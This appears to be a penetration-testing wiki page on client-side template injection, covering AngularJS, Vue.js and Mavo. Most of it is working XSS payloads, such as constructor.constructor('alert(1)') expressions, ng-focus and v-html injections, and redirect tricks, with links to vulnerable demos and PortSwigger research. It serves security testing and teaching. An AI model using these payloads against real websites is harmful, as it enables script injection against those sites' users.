Client Side Template Injection (CSTI)
It is like a Server Side Template Injection but in the client. The SSTI can allow you the execute code on the remote server, the CSTI could allow you to execute arbitrary JavaScript code in the victim.
The way to test for this vulnerability is very similar as in the case of SSTI, the interpreter is going to expect something to execute between doubles keys and will execute it. For example using something like: {{ 7-7 }} if the server is vulnerable you will see a 0 and if not you will see the original: {{ 7-7 }}
AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces.
For example, if your input is being reflected inside the body of the HTML and the body is defined with ng-app: <body ng-app>
You can execute arbitrary JavaScript code using curly braces adding to the body:
{{$on.constructor('alert(1)')()}}{{constructor.constructor('alert(1)')()}}<input ng-focus=$event.view.alert('XSS')>​<!-- Google Research - AngularJS --><div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
You can find a very basic online example of the vulnerability in AngularJS in http://jsfiddle.net/2zs2yv7o/
​Angular 1.6 removed the sandbox so from this version a payload like {{constructor.constructor('alert(1)')()}} or <input ng-focus=$event.view.alert('XSS')> should work.
You can find a vulnerable vue.js implementation in https://vue-client-side-template-injection-example.azu.now.sh/
Working payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%​
And the source code of the vulnerable example here: https://github.com/azu/vue-client-side-template-injection-example​
<!-- Google Research - Vue.js-->"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
{{_openBlock.constructor('alert(1)')()}}
Credit: Gareth Heyes, Lewis Ardern & PwnFunction​
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich​
Payload:
[7*7][(1,alert)(1)]<div mv-expressions="{{ }}">{{top.alert(1)}}</div>[self.alert(1)]javascript:alert(1)%252f%252f..%252fcss-images[Omglol mod 1 mod self.alert (1) andlol][''=''or self.alert(lol)]<a data-mv-if='1 or self.alert(1)'>test</a><div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div><a href=[javascript&':alert(1)']>test</a>[self.alert(1)mod1]
More payloads in https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations​
